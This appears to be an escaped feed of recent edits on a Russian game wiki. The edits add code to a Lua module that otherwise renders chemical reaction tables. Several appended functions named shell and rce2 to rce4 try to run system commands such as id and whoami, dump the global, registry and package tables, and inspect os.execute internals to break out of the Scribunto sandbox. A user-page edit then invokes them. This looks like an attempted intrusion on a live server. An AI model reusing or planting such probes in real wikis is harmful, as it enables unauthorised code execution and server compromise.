		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce3(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;os_type:&amp;quot; .. type(os_table) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;os_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(os_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot;(&amp;quot; .. type(v) .. &amp;quot;) &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        local execute_in_os = os_table.execute&lt;br /&gt;
        r = r .. &amp;quot;execute_type:&amp;quot; .. type(execute_in_os) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if execute_in_os then&lt;br /&gt;
            local exec_meta = debug.getmetatable(execute_in_os)&lt;br /&gt;
            r = r .. &amp;quot;exec_meta:&amp;quot; .. tostring(exec_meta) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_path:&amp;quot; .. pkg.path .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_cpath:&amp;quot; .. pkg.cpath .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_preload_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(pkg.preload) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local debug_table = require(&amp;quot;debug&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;debug_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(debug_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;io_raw:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try loading io through debug&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;getfenv:&amp;quot; .. tostring(debug.getfenv)&lt;br /&gt;
        r = r .. &amp;quot;;getinfo:&amp;quot; .. tostring(debug.getinfo)&lt;br /&gt;
        r = r .. &amp;quot;;setupvalue:&amp;quot; .. tostring(debug.setupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getupvalue:&amp;quot; .. tostring(debug.getupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getuservalue:&amp;quot; .. tostring(debug.getuservalue)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to use debug.getupvalue to extract io from a function&lt;br /&gt;
        -- First find a function that has io in its closure&lt;br /&gt;
        -- Try os.execute&#039;s environment&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        local execute_fn = os_table.execute&lt;br /&gt;
        if execute_fn then&lt;br /&gt;
            local info = debug.getinfo(execute_fn)&lt;br /&gt;
            r = r .. &amp;quot;exec_info:&amp;quot; .. tostring(info) .. &amp;quot;;&amp;quot;&lt;br /&gt;
            if info then&lt;br /&gt;
                for k, v in pairs(info) do&lt;br /&gt;
                    if type(v) ~= &amp;quot;table&amp;quot; and type(v) ~= &amp;quot;function&amp;quot; then&lt;br /&gt;
                        r = r .. tostring(k) .. &amp;quot;=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
            -- get upvalues&lt;br /&gt;
            local i = 1&lt;br /&gt;
            while true do&lt;br /&gt;
                local name, val = debug.getupvalue(execute_fn, i)&lt;br /&gt;
                if not name then break end&lt;br /&gt;
                r = r .. &amp;quot;upval&amp;quot; .. i .. &amp;quot;:&amp;quot; .. name .. &amp;quot;=&amp;quot; .. tostring(val) .. &amp;quot; &amp;quot;&lt;br /&gt;
                i = i + 1&lt;br /&gt;
            end&lt;br /&gt;
            if i == 1 then r = r .. &amp;quot;no_upvals&amp;quot; end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec_detail_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce4(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;mw_type:&amp;quot; .. type(mw) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.execute or similar&lt;br /&gt;
        r = r .. &amp;quot;mw_site_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.site) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;string_keys:&amp;quot;&lt;br /&gt;
        local s = require(&amp;quot;string&amp;quot;)&lt;br /&gt;
        for k, v in pairs(s) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;math_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(math) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;table_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.html, mw.message, mw.title&lt;br /&gt;
        r = r .. &amp;quot;mw_html:&amp;quot; .. tostring(mw.html) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_message:&amp;quot; .. tostring(mw.message) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_title:&amp;quot; .. tostring(mw.title) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_text:&amp;quot; .. tostring(mw.text) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_uri:&amp;quot; .. tostring(mw.uri) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_language:&amp;quot; .. tostring(mw.language) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_log:&amp;quot; .. tostring(mw.log) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame methods&lt;br /&gt;
        r = r .. &amp;quot;frame_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(frame) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;##&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;callPF_result:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;callPF_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:extensionTag&lt;br /&gt;
        local result = frame:extensionTag(&amp;quot;nowiki&amp;quot;, &amp;quot;test&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;extTag:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;extTag_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28714</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28714"/>
		<updated>2026-06-21T23:02:02Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{#invoke:Key|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
TEST_SAVE_MARKER_12345&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce2}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce3}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28713</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28713"/>
		<updated>2026-06-21T23:01:46Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
